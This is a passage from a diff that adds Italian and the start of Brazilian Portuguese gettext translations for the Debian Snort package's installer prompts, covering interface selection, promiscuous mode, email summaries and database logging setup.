+#: ../snort-pgsql.templates:1002
+msgid ""
+"Snort can be started during boot, when connecting to the net with pppd or "
+"only manually with the /usr/sbin/snort command."
+msgstr ""
+"Snort può essere avviato durante l'avvio, durante la connessione alla rete "
+"con pppd, oppure solamente con il comando /usr/sbin/snort."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid "Interface(s) which Snort should listen on:"
+msgstr "Interfaccia (o interfacce) su cui Snort dovrebbe essere in ascolto:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"This value is usually 'eth0', but this may be inappropriate in some network "
+"environments; for a dialup connection 'ppp0' might be more appropiate (see "
+"the output of '/sbin/ifconfig')."
+msgstr ""
+"Questo valore di solito è 'eth0', ma questo potrebbe essere inappropriato in "
+"alcuni ambienti di rete; per una connessione tramite modem, 'ppp0' potrebbe "
+"essere più appropriato (Suggerimento: usare il comando 'ip link show' di "
+"'ifconfig')."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"Typically, this is the same interface as the 'default route' is on. You can "
+"determine which interface is used for this by running '/sbin/route -n' (look "
+"for '0.0.0.0')."
+msgstr ""
+"Solitamente, questa è la stessa interfaccia stabilita quando è attivato "
+"'default route'. Si può stabilire quale interfaccia usare per questa "
+"sessione con '/sbin/ip ro sh' o con '/sbin/route -n' (trova 'default' o "
+"'0.0.0.0')."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"It is also not uncommon to use an interface with no IP address configured in "
+"promiscuous mode. For such cases, select the interface in this system that "
+"is physically connected to the network that should be inspected, enable "
+"promiscuous mode later on and make sure that the network traffic is sent to "
+"this interface (either connected to a 'port mirroring/spanning' port in a "
+"switch, to a hub or to a tap)."
+msgstr ""
+"Non è anche insolito usare un'interfaccia senza IP e configurata in modo "
+"promiscuo; in tal caso, selezionare l'interfaccia del sistema che è "
+"fisicamente connessa alla rete da ispezionare, abilitare la modalità "
+"promiscua ed assicurarsi che il traffico di rete sia inviato verso questa "
+"interfaccia (oppure connesso ad una porta 'port mirroring/spanning' in uno "
+"switch, ad un hub o ad un tap)"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"You can configure multiple interfaces, just by adding more than one "
+"interface name separated by spaces. Each interface can have its own specific "
+"configuration."
+msgstr ""
+"Si possono configurare più interfacce, aggiungendo più di un nome di "
+"interfaccia separati da spazi. Ciascuna interfaccia può avere la sua "
+"specifica configurazione."
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid "Address range for the local network:"
+msgstr "Intervalli di indirizzi per la rete locale:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid ""
+"Please use the CIDR form - for example, 192.168.1.0/24 for a block of 256 "
+"addresses or 192.168.1.42/32 for just one. Multiple values should be comma-"
+"separated (without spaces)."
+msgstr ""
+"Usare un formato CIDR - per esempio 192.168.1.0/24 per un blocco di 256 "
+"indirizzi o 192.168.1.42/32 per uno solo. Più valori doverebbero essere "
+"separati da una virgola (senza spazi)."
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid ""
+"Please note that if Snort is configured to use multiple interfaces, it will "
+"use this value as the HOME_NET definition for all of them."
+msgstr ""
+"Notare che se Snort è configurato per usare più interfacce, essa userà "
+"questo valore come definizione HOME_NET per tutte le altre."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid "Should Snort disable promiscuous mode on the interface?"
+msgstr "Snort deve disabilitare la modalità promiscua sull'interfaccia?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid ""
+"Disabling promiscuous mode means that Snort will only see packets addressed "
+"to the interface it is monitoring. Enabling it allows Snort to check every "
+"packet that passes the Ethernet segment even if it's a connection between "
+"two other computers."
+msgstr ""
+"Disabilitando la modalità promiscua significa che Snort vedrà solo i "
+"pacchetti indirizzati all'interfaccia che sta monitorando. Abilitandola, si "
+"permette a Snort di controllare ogni pacchetto che passa il segmento "
+"Ethernet anche se questa è una connessione fra altri due computer."
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid "Invalid interface"
+msgstr "Interfaccia non valida"
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid ""
+"Snort is trying to use an interface which does not exist or is down. Either "
+"it is defaulting inappropriately to 'eth0', or you specified one which is "
+"invalid."
+msgstr ""
+"Snort sta cercando di usare un'interfaccia che non esiste o che è spenta. O "
+"è stata configurata non correttamente come 'eth0', o è stato specificato uno "
+"che non è valido."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid "Should Snort's testing order be changed to Pass|Alert|Log?"
+msgstr "Cambiare l'ordine delle regole di test di Snort in Pass|Alert|Log?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid ""
+"Snort's default testing order is Alert|Pass|Log; if you accept this option, "
+"the order will be changed to Pass|Alert|Log, which can make it simpler to "
+"use Snort with some packet-filtering tools."
+msgstr ""
+"L'ordine di testing default di Snort è Alert|Pass|Log; se si accetta questa "
+"opzione, l'ordine verrà cambiato in Pass|Alert|Log, che può rendere più "
+"semplice usare Snort con alcuni strumenti packet-filtering."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Should daily summaries be sent by e-mail?"
+msgstr "Trasmettere via e-mail i riepiloghi giornalieri?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid ""
+"A cron job can be set up to send daily summaries of Snort logs to a selected "
+"e-mail address."
+msgstr ""
+"Un lavoro cron può essere impostato per inviare giornalmente riepiloghi dei "
+"log di Snort ad un indirizzo e-mail selezionato."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Please choose whether you want to activate this feature."
+msgstr "Scegliere se si desidera attivare questa funzione."
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid "Recipient of daily statistics mails:"
+msgstr "Destinazione delle mail statistiche quotidiane:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid ""
+"Please specify the e-mail address that should receive daily summaries of "
+"Snort logs."
+msgstr ""
+"Specificare l'indirizzo e-mail sul quale ricevere i riepiloghi giornalieri "
+"dei log di Snort."
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Additional custom options:"
+msgstr "Opzioni personalizzate aggiuntive:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Please specify any additional options Snort should use."
+msgstr "Specificare ogni altra eventuale opzione che Snort dovrebbe usare."
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid "Minimum occurrences before alerts are reported:"
+msgstr "Numero minimo necessario prima che gli alert siano rapportati:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid ""
+"Please enter the minimum number of alert occurrences before a given alert is "
+"included in the daily statistics."
+msgstr ""
+"Inserire il numero minimo di alert che necessitano prima che sia incluso "
+"nelle statistiche giornaliere."
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid "Snort restart required"
+msgstr "Riavvio di Snort necessario"
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid ""
+"As Snort is manually launched, you need to run '/etc/init.d/snort' for the "
+"changes to take place."
+msgstr ""
+"Appena Snort è lanciato manualmente, è necessario lanciare '/etc/init.d/"
+"snort' per attivare i cambiamenti."
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid "Configuration error"
+msgstr "Errore di configurazione"
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"The current Snort configuration is invalid and will prevent Snort starting "
+"up normally. Please review and correct it."
+msgstr ""
+"La corrente configurazione di Snort non è valida ed impedirà a Snort di "
+"avviarsi normalmente. Prego, rivederla e correggerla."
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"To diagnose an error in a Snort configuration file, use '/usr/sbin/snort -T -"
+"c <file>'."
+msgstr ""
+"Per diagnosticare un errore in un file di configurazione di Snort, usare  '/"
+"usr/sbin/snort -T -c <file>'."
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid "Obsolete configuration file"
+msgstr "File di configurazione obsoleto"
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid ""
+"This system uses an obsolete configuration file (/etc/snort/snort.common."
+"parameters) which has been automatically converted into the new "
+"configuration file format (at /etc/default/snort)."
+msgstr ""
+"Questo sistema usa un file di configurazione obsoleto (/etc/snort/snort."
+"common.parameters) che è stato automaticamente convertito nel nuovo formato "
+"del file di configurazione (/etc/default/snort)."
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid ""
+"Please review the new configuration and remove the obsolete one. Until you "
+"do this, the initialization script will not use the new configuration and "
+"you will not take advantage of the benefits introduced in newer releases."
+msgstr ""
+"Rivedere la nuova configurazione e rimuovere quella obsoleta. Nel frattempo, "
+"lo script di inizializzazione non utilizzerà la nuova configurazione e non "
+"si trarrà vantaggio dei benefici introdotti nelle nuove versioni."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid "Set up a database for snort-mysql to log to?"
+msgstr "Impostare un database per i log di snort-mysql?"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"No database has been set up for Snort to log to. Before continuing, you "
+"should make sure you have:"
+msgstr ""
+"Nessun database è stato configurato per il log di Snort. Prima di "
+"continuare, ci si dovrebbe assicurare di avere:"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+" - the server host name (that server must allow TCP connections\n"
+"   from this machine);\n"
+" - a database on that server;\n"
+" - a username and password to access the database."
+msgstr ""
+"- l'host name del server (quel server che deve autorizzare TCP connections\n"
+" da questa macchina);\n"
+"- un database su quel server;\n"
+"- un username e password per accedere al database."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"If some of these requirements are missing, reject this option and run with "
+"regular file logging support."
+msgstr ""
+"Se qualcuno di questi elementi richiesti manca, rifiutare questa opzione ed "
+"avviare con il supporto di un regolare file di logging."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-mysql'."
+msgstr ""
+"Il database dei log può essere riconfigurato successivamente lanciando 'dpkg-"
+"reconfigure -plow snort-mysql'."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid "Database server hostname:"
+msgstr "Hostname del server database:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid ""
+"Please specify the host name of a database server that allows incoming "
+"connections from this host."
+msgstr ""
+"Specificare il nome host di un database server che permetta connessioni in "
+"entrata da questo host!"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid "Database name:"
+msgstr "Nome del database:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid ""
+"Please specify the name of an existing database to which the database user "
+"has write access."
+msgstr ""
+"Specificare il nome di un database esistente su cui l'utente del database "
+"gode del permesso di scrittura."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid "Username for database access:"
+msgstr "Nome utente per l'accesso al database:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid ""
+"Please specify a database server username with write access to the database."
+msgstr ""
+"Specificare un username per il database server con permesso di scrittura su "
+"questo database."
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+msgid "Password for the database connection:"
+msgstr "Password per la connessione al database:"
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+msgid ""
+"Please enter the password to use to connect to the Snort Alert database."
+msgstr ""
+"Inserire una password da usare per connettersi al database degli Alert di "
+"Snort."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid "Configured database mandatory for Snort"
+msgstr "Database configurato obbligatorio per Snort"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid ""
+"Snort needs a configured database before it can successfully start up. In "
+"order to create the structure you need to run the following commands AFTER "
+"the package is installed:"
+msgstr ""
+"Snort necessita di un database configurato prima che possa partire con "
+"successo. Al fine di creare la struttura, è necessario lanciare il seguente "
+"comando DOPO che il pacchetto sia installato:"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <user> -h <host> -p <databasename>"
+msgstr ""
+"cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <user> -h <host> -p <databasename>"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. MySQL "
+"will prompt you for the password."
+msgstr ""
+"Riempire con i valori corretti dei nomi per utente, host e database. MySQL "
+"chiederà la password."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid ""
+"After you have created the database structure, you will need to start Snort "
+"manually."
+msgstr ""
+"Dopo aver creato la struttura del database, è necessario avviare Snort "
+"manualmente."
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid "Set up a database for snort-pgsql to log to?"
+msgstr "Configurare un database per i log di snort-pgsql?"
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-pgsql'."
+msgstr ""
+"Il database dei log può essere riconfigurato successivamente lanciando 'dpkg-"
+"reconfigure -plow snort-pgsql'."
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>"
+msgstr ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>"
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. "
+"PostgreSQL will prompt you for the password."
+msgstr ""
+"Riempire i valori corretti dei nomi utente, host e database. PostgreSQL "
+"richiederà la password."
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid "Deprecated configuration file"
+msgstr "File di configurazione deprecato"
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid ""
+"The Snort configuration file (/etc/snort/snort.conf) uses deprecated options "
+"no longer available for this Snort release. Snort will not be able to start "
+"unless you provide a correct configuration file. Either allow the "
+"configuration file to be replaced with the one provided in this package or "
+"fix it manually by removing deprecated options."
+msgstr ""
+"Il file di configurazione di Snort (/etc/snort/snort.conf) utilizza opzioni "
+"deprecate non più disponibili per questa versione di Snort. Snort non potrà "
+"partire finché non si fornisce un file di configurazione corretto. Si può "
+"sostituire il file di configurazione con quello incluso in questo pacchetto "
+"oppure correggerlo manualmente rimuovendo le opzioni deprecate."
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid ""
+"The following deprecated options were found in the configuration file: "
+"${DEP_CONFIG}"
+msgstr ""
+"Le seguenti opzioni deprecate sono state trovate nel file di configurazione: "
+"${DEP_CONFIG}"
+
+#~ msgid "You are running Snort manually"
+#~ msgstr "Si sta eseguendo Snort manualmente"
+
+#~ msgid "There is an error in your configuration"
+#~ msgstr "C'è un errore nella configurazione"
+
+#~ msgid "boot, dialup, manual"
+#~ msgstr "avvio, collegamento, manuale"
+
+#~ msgid "When should Snort be started?"
+#~ msgstr "Quando dovrebbe avviarsi Snort?"
+
+#~ msgid ""
+#~ "If you want you can specify 'any', to not trust any side of the network."
+#~ msgstr ""
+#~ "Volendo si può specificare 'any', per non lasciare alcun lato della rete."
+
+#~ msgid ""
+#~ "One of the interfaces you specified is not valid (it might not exist on "
+#~ "the system or be down). Please introduce a valid interface when answering "
+#~ "the question of which interface(s) should Snort listen on."
+#~ msgstr ""
+#~ "Una delle interfacce specificate non è valida (potrebbe non esistere sul "
+#~ "sistema o essere spenta). Si prega di introdurre una valida interfaccia "
+#~ "quando si risponde alla domanda su quale interfaccia Snort dovrebbe "
+#~ "essere posto in ascolto."
+
+#~ msgid ""
+#~ "If you did not configure an interface then the package is trying to use "
+#~ "the default ('eth0') which does not seem to be valid in your system."
+#~ msgstr ""
+#~ "Se non si configura un'interfaccia allora il pacchetto sta cercando di "
+#~ "usare quella predefinita ('eth0') che non sembra ssere valida nel sistema."
+
+#~ msgid ""
+#~ "If you change Snort's rules testing order to Pass|Alert|Log, they will be "
+#~ "applied in Pass->Alert->Log order, instead of standard Alert->Pass->Log. "
+#~ "This will prevent people from having to make huge Berky Packet Filter "
+#~ "command line arguments to filter their alert rules."
+#~ msgstr ""
+#~ "Cambiando l'ordine delle regole di test di Snort in Pass|Alert|Log, esse "
+#~ "saranno applicate nell'ordine Pass->Alert->Log, invece dello standard "
+#~ "Alert->Pass->Log. Questo eviterà di dover creare pesanti argomenti da "
+#~ "riga di comando Berky Packet Filter per filtrare le loro regole di avviso."
+
+#~ msgid ""
+#~ "This Snort installation provides a cron job that runs daily and "
+#~ "summarises the information of Snort logs to a selected email address. If "
+#~ "you want to disable this feature say 'no' here."
+#~ msgstr ""
+#~ "Questa installazione di Snort fornisce un lavoro di cron che viene "
+#~ "eseguito giornalmente e riassume le informazioni di log di Snort verso un "
+#~ "indirizzo e-mail selezionato. Se si vuole disabilitare questa funzione, "
+#~ "digitare 'no'."
+
+#~ msgid ""
+#~ "A cron job running daily will summarise the information of the logs "
+#~ "generated by Snort using a script called 'snort-stat'. Introduce here the "
+#~ "recipient of these mails. The default value is the system administrator. "
+#~ "If you keep this value, make sure that the mail of the administrator is "
+#~ "redirected to a user that actually reads those mails."
+#~ msgstr ""
+#~ "Un lavoro cronologia quotidiana riepilogherà le informazioni dei logs "
+#~ "generati da Snort usando uno script chiamato 'snort-stat'. Specificare "
+#~ "adesso dove salvare queste mail. Il valore predefinito è il sistema "
+#~ "amministratore. Lasciando questa scelta, assicurarsi che la posta "
+#~ "dell'amministratore sia reindirizzata ad un utente che attualmente legge "
+#~ "quelle mail."
+
+#, fuzzy
+#~ msgid ""
+#~ "If you want to specify custom options to Snort, please specify them here."
+#~ msgstr ""
+#~ "Se si desidera specificare opzioni personalizzate per Snort, specificarle "
+#~ "adesso."
+
+#~ msgid ""
+#~ "Please restart Snort using:\n"
+#~ " /etc/init.d/snort start\n"
+#~ "to let the settings take effect."
+#~ msgstr ""
+#~ "Riavviare Snort usando:\n"
+#~ " /etc/init.d/snort start\n"
+#~ "per permettere alle impostazioni di avere effetto."
+
+#~ msgid ""
+#~ "Your Snort configuration is not correct and Snort will not be able to "
+#~ "start up normally. Please review your configuration and fix it. If you do "
+#~ "not do this, Snort package upgrades will probably break. To check which "
+#~ "error is being generated run '/usr/sbin/snort -T -c /etc/snort/snort."
+#~ "conf' (or point to an alternate configuration file if you are using "
+#~ "different files for different interfaces)"
+#~ msgstr ""
+#~ "Questa configurazione di Snort non è corretta e Snort non potrà avviarsi "
+#~ "normalmente. Rivedere la configurazione e correggerla. Altrimenti, "
+#~ "l'aggiornamento del pacchetto Snort probabilmente non andrà a buon fine. "
+#~ "Per controllare quale errore sia stato commesso, digitare '/usr/sbin/"
+#~ "snort -T -c /etc/snort/snort.conf' (o indirizzare verso un altro file di "
+#~ "configurazione se si stanno usando diversi file per ciascuna interfaccia)"
+
+#~ msgid ""
+#~ "You only need to do this the first time you install snort-mysql. Before "
+#~ "you go on, make sure you have (1) the hostname of a machine running a "
+#~ "mysql server set up to allow tcp connections from this host, (2) a "
+#~ "database on that server, (3) a username and password to access the "
+#~ "database. If you don't have _all_ of these, either select 'no' and run "
+#~ "with regular file logging support, or fix this first. You can always "
+#~ "configure database logging later, by reconfiguring the snort-mysql "
+#~ "package with 'dpkg-reconfigure -plow snort-mysql'"
+#~ msgstr ""
+#~ "È necessario farlo solo la prima volta che si installa snort-mysql. Prima "
+#~ "di proseguire, assicurarsi di avere (1) l'hostname di una macchina su cui "
+#~ "giri un server mysql che consenta connessioni tcp da questo host, (2) un "
+#~ "database su quel server, (3) un nome utente e password per accedere a "
+#~ "quel database. Se non si possiede tutto ciò, selezionare 'no' e lanciarlo "
+#~ "con il supporto di un regolare file di log, oppure risolvere il problema. "
+#~ "Si può sempre configurare un database dei log successivamente, "
+#~ "riconfigurando il pacchetto snort-mysql con 'dpkg-reconfigure -plow snort-"
+#~ "mysql'"
+
+#~ msgid "Make sure this user has been created and has write access."
+#~ msgstr ""
+#~ "Assicurarsi che questo utente sia stato creato ed abbia accesso alla "
+#~ "scrittura."
+
+#, fuzzy
+#~ msgid "Snort needs a configured database to log to before it starts"
+#~ msgstr ""
+#~ "Snort necessita di un database configurato per entrare prima di essere "
+#~ "lanciato."
+
+#~ msgid ""
+#~ "You only need to do this the first time you install snort-pgsql. Before "
+#~ "you go on, make sure you have (1) the hostname of a machine running a "
+#~ "pgsql server set up to allow tcp connections from this host, (2) a "
+#~ "database on that server, (3) a username and password to access the "
+#~ "database. If you don't have _all_ of these, either select 'no' and run "
+#~ "with regular file logging support, or fix this first. You can always "
+#~ "configure database logging later, by reconfiguring the snort-pgsql "
+#~ "package with 'dpkg-reconfigure -plow snort-pgsql'"
+#~ msgstr ""
+#~ "È necessario fare questo solo la prima volta che si installa snort-pgsql. "
+#~ "Prima di proseguire, assicurarsi di avere (1) il nome host di un sistema "
+#~ "con server pgsql configurato per consentire connessioni tcp da questo "
+#~ "host, (2) un database su quel server, (3) un nome utente e password per "
+#~ "accedere al database. In mancanza di _tutto_ ciò, digitare 'no' e farlo "
+#~ "poi partire con con un regolare file di supporto di log, oppure "
+#~ "correggere prima gli errori. Si può sempre configurare un database dei "
+#~ "log successivamente, riconfigurando il pacchetto sbort-pgsql con 'dpkg-"
+#~ "reconfigure -plow snort-pgsql'"
+
+#~ msgid ""
+#~ "Snort needs a configured database before it can successfully start up. In "
+#~ "order to create the structure you need to run the following commands "
+#~ "AFTER the package is installed:\n"
+#~ " cd /usr/share/doc/snort-pgsql/\n"
+#~ " zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>\n"
+#~ "Fill in the correct values for the user, host, and database names. "
+#~ "PostgreSQL will prompt you for the password."
+#~ msgstr ""
+#~ "Snort necessita di un database configurato prima che possa partire con "
+#~ "successo. Al fine di creare la struttura, è necessario lanciare il "
+#~ "seguente DOPO che il pacchetto sia installato:\n"
+#~ " cd /usr/share/doc/snort-pgsql/\n"
+#~ " zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>\n"
+#~ "Compilare correttamente i nomi utente, host e database. PostgreSQL "
+#~ "chiederà la password."
+
+#~ msgid "Your configuration file is deprecated"
+#~ msgstr "Il file di configurazione è deprecato."
+
+#~ msgid ""
+#~ "Please enter the name(s) of the interface(s) which Snort should listen "
+#~ "on.  The names of the available interfaces are provided by either "
+#~ "running  'ip link show' of 'ifconfig'. This value usually is 'eth0', but "
+#~ "you might want to vary this depending on your environment, if you are "
+#~ "using a dialup connection 'ppp0' might be more appropiate."
+#~ msgstr ""
+#~ "Inserire il nome dell'interfaccia che Snort dovrebbe monitorare.  I nomi "
+#~ "delle interfaccia disponibili verranno elencate digitando 'ip link show' "
+#~ "oppure 'ifconfig'. Il risultato è solitamente 'eth0', ma si potrebbe "
+#~ "decidere di modificarlo secondo le esigenze; se si sta utilizzando una "
+#~ "connessione dialup potrebbe essere più appropriato 'ppp0'."
+
+#~ msgid "Please enter the address range that Snort will listen on."
+#~ msgstr "Inserire la gamma di indirizzi che Snort deve monitorare."
+
+#~ msgid ""
+#~ "Disable promiscuous mode if you are configuring Snort on an interface "
+#~ "without a configured IP address."
+#~ msgstr ""
+#~ "Disabilitare la modalità indeterminata se si sta configurando Snort su "
+#~ "un'interfaccia priva di un indirizzo IP configurato."
+
+#~ msgid "Please enter the hostname of the mysql database server to use."
+#~ msgstr "Inserire il nome host del server database mysql da usare."
+
+#~ msgid "Please enter the name of the database to use."
+#~ msgstr "Inserire il nome del database da usare."
+
+#~ msgid "Please enter the name of the database user you want to use."
+#~ msgstr "Inserire il nome del'utente del database che si intende usare."
+
+#~ msgid "Please enter the hostname of the pgsql database server to use."
+#~ msgstr "Inserire il nome deel'host del server database pgsql da usare."
--- snort-2.8.5.2.orig/debian/po/pt_BR.po
+++ snort-2.8.5.2/debian/po/pt_BR.po
@@ -0,0 +1,1000 @@
+#
+#    Translators, if you are not familiar with the PO format, gettext
+#    documentation is worth reading, especially sections dedicated to
+#    this format, e.g. by running:
+#         info -n '(gettext)PO Files'
+#         info -n '(gettext)Header Entry'
+#
+#    Some information specific to po-debconf are available at
+#            /usr/share/doc/po-debconf/README-trans
+#         or http://www.debian.org/intl/l10n/po-debconf/README-trans
+#
+#    Developers do not need to manually edit POT or PO files.
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: snort\n"
+"Report-Msgid-Bugs-To: snort@packages.debian.org\n"
+"POT-Creation-Date: 2008-05-01 21:28+0200\n"
+"PO-Revision-Date: 2004-08-07 22:06-0300\n"
+"Last-Translator: André Luís Lopes <andrelop@ig.com.br>\n"
+"Language-Team: Debian-BR Project <debian-l10n-portuguese@lists.debian.org>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=ISO-8859-1\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+#, fuzzy
+#| msgid "root"
+msgid "boot"
+msgstr "root"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "dialup"
+msgstr ""
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "manual"
+msgstr ""
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid "Snort start method:"
+msgstr ""
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+#, fuzzy
+#| msgid ""
+#| "Snort can be started during boot, when connecting to the net with pppd or "
+#| "only when you manually start it via /usr/sbin/snort."
+msgid ""
+"Snort can be started during boot, when connecting to the net with pppd or "
+"only manually with the /usr/sbin/snort command."
+msgstr ""
+"O Snort pode ser iniciado durante a inicialização da máquina, quando "
+"conectando a Internet com o pppd ou somente quando você iniciar manualmente "
+"através do comando /usr/sbin/snort."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+#, fuzzy
+#| msgid "On which interface Snort should listen? (only one!)"
+msgid "Interface(s) which Snort should listen on:"
+msgstr "Em qual interface de rede o Snort deve ouvir ? (somente uma !)"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+#, fuzzy
+#| msgid ""
+#| "Please enter the interface name which snort should listen on. The name of "
+#| "the available interfaces are provided by running 'ip link show'. This "
+#| "value usually is 'eth0', but you might want to vary this depending on "
